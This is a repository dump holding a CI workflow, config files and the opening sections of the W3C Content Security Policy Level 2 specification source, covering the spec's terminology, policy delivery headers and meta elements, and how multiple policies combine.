[
  {
    "path": ".github/workflows/auto-publish.yml",
    "content": "name: CI\non:\n  pull_request: {}\n  push:\n    branches: [main]\n\njobs:\n  main:\n    name: Build, Validate, and Publish\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@v2\n      - uses: w3c/spec-prod@v2\n        with:\n          GH_PAGES_BRANCH: gh-pages\n          BUILD_FAIL_ON: link-error\n          W3C_ECHIDNA_TOKEN: ${{ secrets.ECHIDNA_TOKEN }}\n          W3C_WG_DECISION_URL: https://lists.w3.org/Archives/Public/public-webappsec/2015Mar/0170.html\n          W3C_BUILD_OVERRIDE: |\n            Shortname: CSP3\n            Status: WD\n"
  },
  {
    "path": ".gitignore",
    "content": "index.html\n"
  },
  {
    "path": ".pr-preview.json",
    "content": "{\n    \"src_file\": \"index.bs\",\n    \"type\": \"bikeshed\",\n    \"params\": {\n        \"force\": 1\n    }\n}\n"
  },
  {
    "path": "2/index.bs",
    "content": "<h1>Content Security Policy Level 2</h1>\n<pre class=\"metadata\">\nStatus: ED\nED: https://w3c.github.io/webappsec/specs/CSP2/\nTR: http://www.w3.org/TR/CSP2/\nPrevious Version: http://www.w3.org/TR/2014/WD-CSP2-20140703/\nPrevious Version: http://www.w3.org/TR/2014/WD-CSP11-20140211/\nPrevious Version: http://www.w3.org/TR/2012/CR-CSP-20121115/\nShortname: CSP2\nLevel: 2\nEditor: Mike West 56384, Google Inc., mkwst@google.com\nEditor: Adam Barth 39502, Google Inc., w3c@adambarth.com\nEditor: Dan Veditz 41156, Mozilla Corporation, dveditz@mozilla.com\nFormer Editor: Brandon Sterne, formerly of Mozilla Corporation, brandon@hackmill.com\nAbstract: This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.\nGroup: webappsec\nLink Defaults: dom-core-ls (interface) event\nIndent: 2\nMarkup Shorthands: css off\n</pre>\n\n<!--\n   ███    ██    ██  ██████  ██     ██  ███████  ████████   ██████ \n  ██ ██   ███   ██ ██    ██ ██     ██ ██     ██ ██     ██ ██    ██\n ██   ██  ████  ██ ██       ██     ██ ██     ██ ██     ██ ██      \n██     ██ ██ ██ ██ ██       █████████ ██     ██ ████████   ██████ \n█████████ ██  ████ ██       ██     ██ ██     ██ ██   ██         ██\n██     ██ ██   ███ ██    ██ ██     ██ ██     ██ ██    ██  ██    ██\n██     ██ ██    ██  ██████  ██     ██  ███████  ██     ██  ██████ \n-->\n<pre class=\"anchors\">\ntype: dfn\n  urlPrefix: http://www.w3.org/TR/html5/\n    urlPrefix: document-metadata.html\n      text: pragma directives\n    urlPrefix: dom.html\n      text: fallback content\n      text: the document's address; url: the-document's-address\n    urlPrefix: embedded-content-0.html\n      text: an iframe srcdoc document\n    urlPrefix: browsers.html\n      text: active document\n      text: parse a sandboxing directive\n      text: forced sandboxing flag set\n      text: ascii serialization of an origin\n      text: auxiliary browsing context\n      text: browsing context\n      text: ancestor browsing context\n      text: browsing context container\n      text: child browsing context\n      text: creating a new Document object\n      text: navigated; url: navigate\n      text: nested browsing context\n      text: nested through; url: browsing-context-nested-through\n      text: opener browsing context\n      text: plugin document\n      text: sandboxed origin browsing context flag\n      text: sandboxing flag set\n      text: top-level browsing context; url: top-level-browsing-context\n    urlPrefix: infrastructure.html\n      text: fragment; url: concept-url-fragment\n      text: fetch\n      text: document base url\n      text: plugin\n      text: reflect\n      text: securityerror\n      text: mime type\n      text: strictly split a string\n      text: skip whitespace\n      text: collect a sequence of characters\n      text: space characters; url: space-character\n      text: javascript global environment\n      text: split a string on spaces\n      text: strip leading and trailing whitespace\n      text: firing; url: concept-event-fire\n      text: ascii case-insensitive match; url: ascii-case-insensitive\n    urlPrefix: links.html\n      text: icon; url: rel-icon\n      text: link type stylesheet\n    urlPrefix: scripting-1.html\n      text: the script block's source; url: the-script-block's-source\n    urlPrefix: webappapis.html\n      text: queue a task\n      text: task source\n      text: tasks; url: concept-task\n      text: incumbent settings object\n      text: relevant settings object for a script\n      text: responsible document\n  urlPrefix: http://www.w3.org/TR/cssom/\n    text: insert a css rule\n    text: parse a css declaration block\n    text: parse a css rule\n    text: parse a group of selectors\n  urlPrefix: http://www.w3.org/TR/url/\n    text: default port\n    text: host; url: concept-url-host\n    text: origin of a url; url: concept-url-origin\n    text: path; url: concept-url-path\n    text: percent decode\n    text: percent encode\n    text: port; url: concept-url-port\n    text: scheme; url: concept-url-scheme\n    text: url parser; url: concept-url-parser\n    text: ipv6 address; url: concept-ipv6\n  urlPrefix: http://www.w3.org/TR/CSS21/conform.html\n    text: style sheet\n  urlPrefix: https://tools.ietf.org/html/rfc3986\n    text: IPv4address; url: section-3.2.2\ntype: element\n  urlPrefix: http://www.w3.org/TR/html5/\n    urlPrefix: document-metadata.html\n      text: base; url: the-base-element\n      text: head; url: the-head-element\n      text: link; url: the-link-element\n      text: meta; url: the-meta-element\n      text: style; url: the-style-element\n    urlPrefix: embedded-content-0.html\n      text: audio; url: the-audio-element\n      text: embed; url: the-embed-element\n      text: iframe; url: the-iframe-element\n      text: img; url: the-img-element\n      text: object; url: the-object-element\n      text: video; url: the-video-element\n      text: source; url: the-source-element\n      text: track; url: the-track-element\n    urlPrefix: scripting-1.html\n      text: script; url: the-script-element\n    urlPrefix: forms.html\n      text: form; url: the-form-element\n      text: input; url: the-input-element\n    urlPrefix: obsolete.html\n      text: applet; url: the-applet-element\n      text: frame\n  urlPrefix: http://www.w3.org/TR/SVG2/struct.html\n    text: svg; url: SVGElement\ntype: element-attr\n  urlPrefix: http://www.w3.org/TR/html5/\n    urlPrefix: document-metadata.html\n      text: href; for: link; url: attr-link-href\n      text: rel; for: link; url: attr-link-rel\n      text: http-equiv; for: meta; url: attr-meta-http-equiv\n      text: content; for: meta; url: attr-meta-content\n    urlPrefix: links.html\n      text: icon; for: link; url: rel-icon\n    urlPrefix: embedded-content-0.html\n      text: type; for: object; url: attr-object-type\n      text: src; for: img; url: attr-img-src\n      text: src; for: video; url: attr-media-src\n      text: src; for: embed; url: attr-embed-src\n      text: sandbox; for: iframe; url: attr-iframe-sandbox\n      text: srcdoc; for: iframe; url: attr-iframe-srcdoc\n      text: poster; for: video; url: attr-video-poster\n      text: data; for: object; url: attr-object-data\n    urlPrefix: browsers.html\n      text: allow-forms; for: iframe; url: attr-iframe-sandbox-allow-forms\n      text: allow-pointer-lock; for: iframe; url: attr-iframe-sandbox-allow-pointer-lock\n      text: allow-popups; for: iframe; url: attr-iframe-sandbox-allow-popups\n      text: allow-top-navigation; for: iframe; url: attr-iframe-sandbox-allow-top-navigation\n      text: allow-scripts; for: iframe; url: attr-iframe-sandbox-allow-scripts\n      text: allow-same-origin; for: iframe; url: attr-iframe-sandbox-allow-same-origin\n    urlPrefix: forms.html\n      text: image; for: input; url: attr-input-type-image-keyword\n      text: src; for: input; url: attr-input-src\n    urlPrefix: obsolete.html\n      text: code; for: applet; url: dom-applet-code\n      text: archive; for: applet; url: dom-applet-archive\n    urlPrefix: scripting-1.html\n      text: src; for: script; url: attr-script-src\ntype: function\n  urlPrefix: http://www.w3.org/TR/CSS21/syndata.html\n    text: url(); url: uri\nurlPrefix: http://www.w3.org/TR/dom/\n  type: attribute\n    text: textContent; for: Node; url: dom-node-textcontent\n  type: interface\n    text: Document; url: interface-document\ntype: attribute\n  urlPrefix: http://www.w3.org/TR/html5/\n    urlPrefix: dom.html\n      text: referrer; for: Document; url: dom-document-referrer\ntype: interface\n  urlPrefix: https://fetch.spec.whatwg.org/\n    text: Request\n  urlPrefix: http://www.w3.org/TR/url/\n    text: URL; url: dom-url\n  urlPrefix: https://heycam.github.io/webidl/\n    text: long; url: idl-long\n  urlPrefix: http://www.w3.org/TR/html5/\n    urlPrefix: document-metadata.html\n      text: HTMLStyleElement\n    urlPrefix: scripting-1.html\n      text: HTMLScriptElement\n  urlPrefix: http://www.w3.org/TR/dom/\n    text: Event\n    text: EventInit\ntype: method\n  urlPrefix: http://www.w3.org/TR/html5/\n    urlPrefix: webappapis.html\n      text: setTimeout(); for: WindowTimers; url: dom-windowtimers-settimeout\n      text: setInterval(); for: WindowTimers; url: dom-windowtimers-setinterval\n</pre>\n\n<pre class=\"biblio\">\n{\n  \"URL\": {\n    \"authors\": [ \"Anne van Kesteren\", \"Sam Ruby\" ],\n    \"title\": \"URL\",\n    \"href\": \"http://www.w3.org/TR/url/\",\n    \"status\": \"WD\",\n    \"publisher\": \"W3C\"\n  },\n  \"HTML5\": {\n    \"authors\": [ \"Ian Hickson\", \"Robin Berjon\", \"Steve Faulkner\", \"Travis Leithead\", \"Erika Doyle Navera\", \"Edward O'Connor\", \"Silvia Pfeiffer\" ],\n    \"title\": \"HTML5\",\n    \"href\": \"http://www.w3.org/TR/html5/\",\n    \"status\": \"REC\",\n    \"publisher\": \"W3C\"\n  },\n  \"FIPS180\": {\n    \"title\": \"FIPS-180-4\",\n    \"href\": \"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf\"\n  }\n}\n</pre>\n\n<!--\n████ ██    ██ ████████ ████████   ███████ \n ██  ███   ██    ██    ██     ██ ██     ██\n ██  ████  ██    ██    ██     ██ ██     ██\n ██  ██ ██ ██    ██    ████████  ██     ██\n ██  ██  ████    ██    ██   ██   ██     ██\n ██  ██   ███    ██    ██    ██  ██     ██\n████ ██    ██    ██    ██     ██  ███████ \n-->\n<section>\n  <h2 id=\"intro\">Introduction</h2>\n\n  <em>This section is not normative.</em>\n\n  This document defines Content Security Policy, a mechanism web applications\n  can use to mitigate a broad class of content injection vulnerabilities, such\n  as cross-site scripting (XSS). Content Security Policy is a declarative policy\n  that lets the authors (or server administrators) of a web application inform\n  the client about the sources from which the application expects to load\n  resources.\n\n  To mitigate XSS attacks, for example, a web application can declare that it\n  only expects to load script from specific, trusted sources. This declaration\n  allows the client to detect and block malicious scripts injected into the\n  application by an attacker.\n\n  Content Security Policy (CSP) is not intended as a first line of defense\n  against content injection vulnerabilities. Instead, CSP is best used as\n  defense-in-depth, to reduce the harm caused by content injection attacks. As\n  a first line of defense against content injection, server operators should\n  validate their input and encode their output.\n\n  There is often a non-trivial amount of work required to apply CSP to an\n  existing web application. To reap the greatest benefit, authors will need to\n  move all inline script and style out-of-line, for example into external\n  scripts, because the user agent cannot determine whether an inline script\n  was injected by an attacker.\n\n  To take advantage of CSP, a web application opts into using CSP by supplying a\n  <code>Content-Security-Policy</code> HTTP header. Such policies apply to the\n  current resource representation only. To supply a policy for an entire site,\n  the server needs to supply a policy with each resource representation.\n\n  <h3 id=\"changes-from-level-1\">Changes from Level 1</h3>\n\n  This document describes an evolution of the\n  <a href=\"http://www.w3.org/TR/CSP/\">Content Security Policy specification</a>.\n  Level 2 makes two breaking changes from Level 1, and adds support for a number\n  of new directives and capabilities which are summarized below:\n\n  <ol>\n    <li>\n      The following changes are backwards incompatible with the majority of\n      user agent's implementations of Level 2:\n\n      <ol>\n        <li>\n          The path component of a source expression is now ignored if the\n          resource being loaded is the result of a redirect, as described in\n          [[#source-list-paths-and-redirects]].\n\n          Note: Paths are technically new in Level 2, but they were already\n          implemented in many user agents before this revision of CSP was\n          completed, so noting the change here seems reasonable.\n        </li>\n        <li>\n          A <a>protected resource</a>'s ability to load Workers [[!WORKERS]]\n          is now controlled via <a><code>child-src</code></a> rather than\n          <a><code>script-src</code></a>.\n        </li>\n        <li>\n          Workers now have their own policy, separate from the <a>protected\n          resource</a> which loaded them. This is described in\n          [[#processing-model-workers]].\n        </li>\n      </ol>\n    </li>\n    <li>\n      The following directives are brand new in this revision:\n\n      <ol>\n        <li>\n          <a><code>base-uri</code></a> controls the <a>protected\n          resource</a>'s ability to specify the <a spec=\"HTML5\">document base\n          URL</a>.\n        </li>\n        <li>\n          <a><code>child-src</code></a> deprecates and replaces\n          <a><code>frame-src</code></a>, controlling the <a>protected\n          resource</a>'s ability to embed frames, and to load Workers.\n        </li>\n        <li>\n          <a><code>form-action</code></a> controls the <a>protected\n          resource</a>'s ability to submit forms.\n        </li>\n        <li>\n          <a><code>frame-ancestors</code></a> controls the <a>protected\n          resource</a>'s ability be embedded in other documents. It is meant\n          to supplant the <code>X-Frame-Options</code> HTTP request header.\n          [[!RFC7034]]\n        </li>\n        <li>\n          <a><code>plugin-types</code></a> controls the <a>protected\n          resource</a>'s ability to load specific types of plugins.\n        </li>\n      </ol>\n    </li>\n    <li>\n      Individual inline scripts and stylesheets may be whitelisted via nonces\n      (as described in [[#source-list-valid-nonces]]) and hashes (as described\n      in [[#source-list-valid-hashes]]).\n    </li>\n    <li>\n      A {{SecurityPolicyViolationEvent}} is fired upon violations, as described\n      in [[#firing-securitypolicyviolationevent-events]].\n    </li>\n    <li>\n      A number of new fields were added to violation reports (both those POSTED\n      via <a><code>report-uri</code></a>, and those handed to the DOM via\n      {{SecurityPolicyViolationEvent}} events. These include\n      {{SecurityPolicyViolationEvent/effectiveDirective}},\n      {{SecurityPolicyViolationEvent/statusCode}},\n      {{SecurityPolicyViolationEvent/sourceFile}},\n      {{SecurityPolicyViolationEvent/lineNumber}}, and\n      {{SecurityPolicyViolationEvent/columnNumber}}.\n    </li>\n    <li>\n      Certain flags present in the <code><a>sandbox</a></code> directive now\n      affect Worker creation, as described in [[#sandboxing-and-workers]].\n    </li>\n  </ol>\n</section>\n\n<!--\n████████  ████████ ████████ ████ ██    ██ ████ ████████ ████  ███████  ██    ██  ██████ \n██     ██ ██       ██        ██  ███   ██  ██     ██     ██  ██     ██ ███   ██ ██    ██\n██     ██ ██       ██        ██  ████  ██  ██     ██     ██  ██     ██ ████  ██ ██      \n██     ██ ██████   ██████    ██  ██ ██ ██  ██     ██     ██  ██     ██ ██ ██ ██  ██████ \n██     ██ ██       ██        ██  ██  ████  ██     ██     ██  ██     ██ ██  ████       ██\n██     ██ ██       ██        ██  ██   ███  ██     ██     ██  ██     ██ ██   ███ ██    ██\n████████  ████████ ██       ████ ██    ██ ████    ██    ████  ███████  ██    ██  ██████ \n-->\n<section>\n  <h2 id=\"key-concepts\">Key Concepts and Terminology</h2>\n\n  <h3 id=\"terms-defined-here\">Terms defined by this specification</h3>\n  <dl>\n    <dt>\n      <dfn export local-lt=\"policy\">security policy</dfn>\n    </dt>\n    <dt>\n      <dfn export local-lt=\"directive\">security policy directive</dfn>\n    </dt>\n    <dt>\n      <dfn export local-lt=\"directive name\">security policy directive name</dfn>\n    </dt>\n    <dt>\n      <dfn export local-lt=\"directive value\">security policy directive value</dfn>\n    </dt>\n    <dd>\n      A <strong>security policy</strong> refers to both a set of security\n      preferences for restrictions within which content can operate, and\n      to a fragment of text that codifies or transmits these preferences.\n      For example, the following string is a policy which restricts script\n      and object content:\n\n      <div class=\"example\">\n        <code><a>script-src</a> 'self'; <a>object-src</a> 'none'</code>\n      </div>\n\n      Security policies contain a set of <strong>security policy\n      directives</strong> (<code><a>script-src</a></code> and\n      <code><a>object-src</a></code> in the example above), each responsible\n      for declaring the restrictions for a particular resource type, or\n      manipulating a specific aspect of the policy's restrictions. The list\n      of directives defined by this specification can be found in\n      [[#directives]].\n\n      Each directives has a <strong>name</strong> and a <strong>value</strong>;\n      <strong>value</strong> may be optional for some directives.\n      A detailed grammar can be found in [[#syntax-and-algorithms]].\n    </dd>\n    <dt>\n      <dfn export>protected resource</dfn>\n    </dt>\n    <dd>\n      A <a>security policy</a> is applied by a user agent to a specific\n      <a>resource representation</a>, known as the <strong>protected\n      resource</strong>. See [[#policy-delivery]] for details regarding\n      the mechanisms by which policies may be applied to a protected\n      resource.\n    </dd>\n  </dl>\n\n  <h3 id=\"terms-defined-by-reference\">Terms defined by reference</h3>\n  <dl>\n    <dt>\n      <dfn>globally unique identifier</dfn>\n    </dt>\n    <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc6454#section-2.3\">Section 2.3 of\n      the Origin specification</a>. [[!RFC6454]]\n\n      NOTE: URLs which do not use hierarchical elements as naming authorities\n      (<code>data:</code>, for instance) have <a>origins</a> which are globally\n      unique identifiers.\n    </dd>\n    <dt>\n      <dfn>HTTP 200 response</dfn>\n    </dt>\n    <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc7231#section-6.3.1\">Section\n      6.3.1 of HTTP/1.1 -- Semantics and Content</a>. [[!RFC7231]]\n    </dd>\n    <dt>\n      <dfn>JSON object</dfn>\n    </dt>\n    <dt>\n      <dfn>JSON stringification</dfn>\n    </dt>\n    <dd>\n      Defined in the JSON specification. [[!RFC4627]]\n    </dd>\n    <dt>\n      <dfn>origin</dfn>\n    </dt>\n    <dd>\n      Defined by the Origin specification. [[!RFC6454]]\n    </dd>\n    <dt>\n      <dfn local-lt=\"representation\">resource representation</dfn>\n    </dt>\n    <dd>\n      Defined in <a href=\"https://tools.ietf.org/html/rfc7231#section-3\">Section\n      3 of HTTP/1.1 -- Semantics and Content</a>. [[!RFC7231]]\n    </dd>\n    <dt>\n      <dfn>URL</dfn>\n    </dt>\n    <dd>\n      Defined by [[!URL]].\n    </dd>\n    <dt><dfn>SHA-256</dfn></dt>\n    <dt><dfn>SHA-384</dfn></dt>\n    <dt><dfn>SHA-512</dfn></dt>\n    <dd>\n      These digest algorithms are defined by the NIST. [[!FIPS180]]\n    </dd>\n  </dl>\n\n  <h3 id=\"html-concepts\">Relevant Concepts from HTML</h3>\n\n  The <{applet}>, <{audio}>, <{embed}>, <{iframe}>, <{img}>, <{link}>,\n  <{object}>, <{script}>, <{source}>, <{track}>, and <{video}> are defined in\n  [[!HTML5]].\n\n  The terms <a>auxiliary browsing contexts</a>,\n  <a>opener browsing context</a>, and <a>nested browsing contexts</a> are\n  defined in the HTML5 specification. [[!HTML5]]\n\n  A <a>plugin</a> is defined in the HTML5 specification. [[!HTML5]]\n\n  The <code><<@font-face>></code> Cascading Style Sheets (CSS) rule is defined\n  in the CSS Fonts Module Level 3 specification. [[!CSS3-FONTS]]\n\n  The <code>XMLHttpRequest</code> object is defined in the\n  <code>XMLHttpRequest</code> specification. [[!XMLHTTPREQUEST]]\n\n  The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n  specification. [[!WEBSOCKETS]]\n\n  The <code>EventSource</code> object is defined in the <code>EventSource</code>\n  specification. [[!EVENTSOURCE]]\n\n  The <dfn>runs a worker</dfn> algorithm is\n  <a href=\"http://www.w3.org/TR/workers/#run-a-worker\">defined in the Web\n  Workers spec</a>. [[!WORKERS]]\n\n  The term <dfn>callable</dfn> refers to an object whose interface\n  has one or more <dfn>callers</dfn> as defined in the <a\n  href=\"http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers\">Web\n  IDL</a> specification [[!WEBIDL]].\n\n  <h3 id=\"grammar\">Grammatical Concepts</h3>\n\n  The Augmented Backus-Naur Form (ABNF) notation used in this document is\n  specified in RFC5234. [[!ABNF]]\n\n  This document also uses the ABNF extension \"#rule\" as defined in\n  <a href=\"https://tools.ietf.org/html/rfc7230#section-7\">Section 7</a>\n  of HTTP/1.1 -- Message Syntax and Routing. [[!RFC7230]]\n\n  The following core rules are included by reference, as defined in\n  <a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">Appendix B.1</a>\n  of [[!ABNF]]: <code><dfn>ALPHA</dfn></code> (letters),\n  <code><dfn>DIGIT</dfn></code> (decimal 0-9), <code><dfn>WSP</dfn></code>\n  (white space) and <code><dfn>VCHAR</dfn></code> (printing characters).\n</section>\n\n<!--\n████████  ████████ ██       ████ ██     ██ ████████ ████████  ██    ██\n██     ██ ██       ██        ██  ██     ██ ██       ██     ██  ██  ██\n██     ██ ██       ██        ██  ██     ██ ██       ██     ██   ████\n██     ██ ██████   ██        ██  ██     ██ ██████   ████████     ██\n██     ██ ██       ██        ██   ██   ██  ██       ██   ██      ██\n██     ██ ██       ██        ██    ██ ██   ██       ██    ██     ██\n████████  ████████ ████████ ████    ███    ████████ ██     ██    ██\n-->\n<section>\n  <h2 id=\"policy-delivery\">Policy Delivery</h2>\n\n  The server delivers a <a>policy</a> to the user agent via an HTTP response\n  header (defined in [[#content-security-policy-header-field]] and\n  [[#content-security-policy-report-only-header-field]]) or an HTML\n  <{meta}> element (defined in [[#delivery-html-meta-element]]).\n\n  <section>\n    <h3 id=\"content-security-policy-header-field\">\n      <code>Content-Security-Policy</code> Header Field\n    </h3>\n\n    The <code><dfn export>Content-Security-Policy</dfn></code> header field is\n    the preferred mechanism for delivering a policy. The grammar is as follows:\n\n    <pre>\n      \"Content-Security-Policy:\" 1#<a>policy-token</a>\n    </pre>\n\n    For example, a response might include the following header field:\n\n    <div class=\"example\">\n      <code>Content-Security-Policy: <a>script-src</a> 'self'</code>\n    </div>\n\n    A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy</code> with a given <a>resource\n    representation</a>.\n\n    A server MAY send different <code>Content-Security-Policy</code>\n    header field values with different <a>representations</a> of the same\n    resource or with different resources.\n\n    Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy</code> header field, the user agent\n    MUST <a>enforce</a> each of the policies contained in each such\n    header field.\n  </section>\n\n  <section>\n    <h3 id=\"content-security-policy-report-only-header-field\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </h3>\n\n    The <code><dfn export>Content-Security-Policy-Report-Only</dfn></code>\n    header field lets servers experiment with policies by monitoring (rather\n    than enforcing) a policy. The grammar is as follows:\n\n    <pre>\n      \"Content-Security-Policy-Report-Only:\" 1#<a>policy-token</a>\n    </pre>\n\n    For example, server operators might wish to develop their\n    security policy iteratively. The operators can deploy a report-only\n    policy based on their best estimate of how their site behaves:\n\n    <div class=\"example\">\n      <pre>\n        Content-Security-Policy-Report-Only: <a>script-src</a> 'self';\n                                             <a>report-uri</a> /csp-report-endpoint/\n      </pre>\n    </div>\n\n    If their site violates this policy the user agent will <a>send violation\n    reports</a> to the URL specified in the policy's <a>report-uri</a>\n    directive, but allow the violating resources to load regardless. Once a site\n    has confidence that the policy is appropriate, they can start enforcing the\n    policy using the <code><a>Content-Security-Policy</a></code> header field.\n\n    A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only</code> with a given\n    <a>resource representation</a>.\n\n    A server MAY send different\n    <code>Content-Security-Policy-Report-Only</code> header field values\n    with different <a>representations</a> of the same resource or with different\n    resources.\n\n    Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy-Report-Only</code> header field, the\n    user agent MUST <a>monitor</a> each of the policies\n    contained in each such header field.\n\n    Note: The <code><a>Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <{meta}> element.\n  </section>\n\n  <section>\n    <h3 id=\"delivery-html-meta-element\">\n      HTML <{meta}> Element\n    </h3>\n\n    The server MAY supply policy via one or more HTML <{meta}> elements\n    with <{meta/http-equiv}> attributes that are an <a>ASCII case-insensitive\n    match</a> for the string \"<code>Content-Security-Policy</code>\". For\n    example:\n\n    <pre class=\"example\">\n      &lt;meta http-equiv=\"Content-Security-Policy\" content=\"<a>script-src</a> 'self'\"&gt;\n    </pre>\n\n    Add the following entry to the <a>pragma directives</a> for the <{meta}>\n    element:\n\n    <dl>\n      <dt>\n        Content security policy\n        (<code>http-equiv=\"content-security-policy\"</code>)\n      </dt>\n      <dd>\n        <ol>\n          <li>If the Document's <{head}> element is not an ancestor of the\n          <{meta}> element, abort these steps.</li>\n\n          <li>If the <{meta}> element lacks a <{meta/content}> attribute, abort\n          these steps.</li>\n\n          <li>Let <var>policy</var> be the value of the <{meta/content}>\n          attribute of the <{meta}> element.</li>\n\n          <li>Let <var>directive-set</var> be the result of\n          <a lt=\"parse the policy\">parsing <var>policy</var></a>.</li>\n\n          <li>\n            Remove all occurrences of <code><a>report-uri</a></code>,\n            <code><a>frame-ancestors</a></code>, and <code><a>sandbox</a></code>\n            directives from <var>directive-set</var>.\n\n            Note: User agents are encouraged to issue a warning to developers\n            if one or more of these directives are included in a policy\n            delivered via <{meta}>.\n          </li>\n\n          <li>Enforce each of the <a>directives</a> in <var>directive-set</var>,\n          as <a href=\"#directives\">defined for each directive type</a>.</li>\n        </ol>\n      </dd>\n    </dl>\n\n    Authors are <em>strongly encouraged</em> to place <{meta}> elements as early\n    in the document as possible, because policies in <{meta}> elements are not\n    applied to content which precedes them. In particular, note that resources\n    fetched or prefetched using the <code>Link</code> HTTP response header\n    field, and resources fetched or prefetched using <{link}> and <{script}>\n    elements which precede a <{meta}>-delivered policy will not be blocked.\n\n    Note: A <a>policy</a> specified via a <{meta}> element will be enforced\n    along with any other policies active for the protected resource, regardless\n    of where they're specified. The general impact of enforcing multiple\n    policies is described in [[#enforcing-multiple-policies]].\n\n    Note: Modifications to the <{meta/content}> attribute of a <{meta}> element\n    after the element has been parsed will be ignored.\n\n    Note: The <code><a>Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <{meta}> element.\n  </section>\n\n  <section>\n    <h3 id=\"enforcing-multiple-policies\">Enforcing multiple policies</h3>\n\n    <em>This section is not normative.</em>\n\n    The above sections note that when multiple policies are present,\n    each must be enforced or reported, according to its type. An example\n    will help clarify how that ought to work in practice. The behavior of\n    an <code>XMLHttpRequest</code> might seem unclear given a site\n    that, for whatever reason, delivered the following HTTP headers:\n\n    <pre class=\"example\">\n      Content-Security-Policy: <a>default-src</a> 'self' http://example.com http://example.net;\n                               <a>connect-src</a> 'none';\n      Content-Security-Policy: <a>connect-src</a> http://example.com/;\n                               <a>script-src</a> http://example.com/\n    </pre>\n\n    Is a connection to <code>example.com</code> allowed or not? The\n    short answer is that the connection is not allowed. Enforcing both\n    policies means that a potential connection would have to pass through\n    both unscathed. Even though the second policy would allow this\n    connection, the first policy contains <code><a>connect-src</a>\n    'none'</code>, so its enforcement blocks the connection. The impact is\n    that adding additional policies to the list of policies to enforce can\n    only further restrict the capabilities of the protected resource.\n\n    To demonstrate that further, consider a script tag on this page.\n    The first policy would lock scripts down to <code>'self'</code>,\n    <code>http://example.com</code> and <code>http://example.net</code>\n    via the <code><a>default-src</a></code> directive. The second, however,\n    would only allow script from <code>http://example.com/</code>. Script\n    will only load if it meets both policy's criteria: in this case, the only\n    origin that can match is <code>http://example.com</code>, as both\n    policies allow it.\n  </section>\n\n  <section>\n    <h3 id=\"which-policy-applies\">Policy applicability</h3>\n\n    <em>This section is not normative.</em>\n\n    Policies are associated with an <a>protected resource</a>, and\n    <a lt=\"enforce\">enforced</a> or <a>monitored</a> for that resource.\n    If a resource does not create a new execution context (for example, when\n    including a script, image, or stylesheet into a document), then any policies\n    delivered with that resource are discarded without effect. Its execution is\n    subject to the policy or policies of the including context. The following\n    table outlines examples of these relationships:\n\n    <style>\n      table {\n        text-align: left;\n        margin: 20px;\n        width: 100%;\n        border-collapse: collapse;\n      }\n\n      tbody tr:nth-child(odd) {\n        background-color: #EEE;\n      }\n\n      th {\n        border-bottom: 1px solid #999;\n        padding: 0.5em;\n      }\n\n      td:first-child {\n        width: 30%;\n        padding-right: 1em;\n      }\n\n      td {\n        vertical-align: top;\n        padding: 0.5em;\n      }\n\n      tbody th {\n        border: 0;\n        background-color: #FFF;\n      }\n\n      tr.section {\n        border-top: 1px solid #999;\n        vertical-align: top;\n      }\n    </style>\n\n    <table>\n      <thead>\n        <tr>\n          <th colspan=\"2\">Resource Type</th>\n          <th>What <a>policy</a> applies?</th>\n        </tr>\n      </thead>\n      <tbody>\n        <tr class=\"section\">\n          <th rowspan=\"2\">Top-level Contexts</th>\n\n          <td>HTML as a new, top-level browsing context</td>\n          <td>The policy delivered with the resource applies.</td>\n        </tr>\n        <tr>\n          <td>SVG, as a top-level document</td>\n          <td>The policy delivered with the resource applies.</td>\n        </tr>\n\n        <tr class=\"section\">\n          <th rowspan=\"3\">Embedded Contexts</th>\n\n          <td>\n            Any resource included via <{iframe}>, <{object}>, or <{embed}>\n          </td>\n          <td>\n            Unless the embedded resource is a globally unique identifier (or a\n            srcdoc iframe), the embedded resource is controlled by the policy\n            delivered with the resource. If the embedded resource is a globally\n            unique identifier or srcdoc iframe, it inherits the policy of the\n            context creating it.  (The frame-src and\n            child-src directives of the embedding context only control\n            what resources are eligible for embedding in that context, not the\n            behavior of the resource once embedded.)\n          </td>\n        </tr>\n        <tr>\n          <td>SVG, as an embedded document</td>\n          <td>\n            Unless the resource is a globally unique identifier,\n            it is controlled by the policy\n            delivered with the resource. If a globally\n            unique identifier, it inherits the policy of the\n            context creating it.\n          </td>\n        </tr>\n        <tr>\n          <td>\n            JavaScript, as a Worker, Shared Worker, or Service Worker\n          </td>\n          <td>\n            Unless the resource is a globally unique identifier,\n            it is controlled by the\n            policy delivered with the resource. If a globally\n            unique identifier, it inherits the policy of the\n            context creating it.\n          </td>\n        </tr>\n\n        <tr class=\"section\">\n          <th rowspan=\"7\">Subresources</th>\n\n          <td>SVG, inlined via <{svg}></td>\n          <td>The policy of the including context applies.</td>\n        </tr>\n        <tr>\n          <td>SVG, as a resource document</td>\n          <td>The policy of the including context applies.</td>\n        </tr>\n        <tr>\n          <td>HTML via XMLHttpRequest</td>\n          <td>The policy of the context that performed the fetch applies.</td>\n        </tr>\n        <tr>\n          <td>Image via <{img}> element</td>\n          <td>The policy of the including context applies.</td>\n        </tr>\n        <tr>\n          <td>JavaScript via a <{script}> element</td>\n          <td>The policy of the including context applies.</td>\n        </tr>\n        <tr>\n          <td>SVG, via <{img}></td>\n          <td>No policy applies; this should be just as safe as JPG</td>\n        </tr>\n        <tr>\n          <td>SVG, as a WebFont</td>\n          <td>No policy applies; this should be just as safe as WOFF</td>\n        </tr>\n      </tbody>\n    </table>\n  </section>\n</section>\n\n<!--\n ██████  ██    ██ ██    ██ ████████    ███    ██     ██\n██    ██  ██  ██  ███   ██    ██      ██ ██    ██   ██\n██         ████   ████  ██    ██     ██   ██    ██ ██\n ██████     ██    ██ ██ ██ 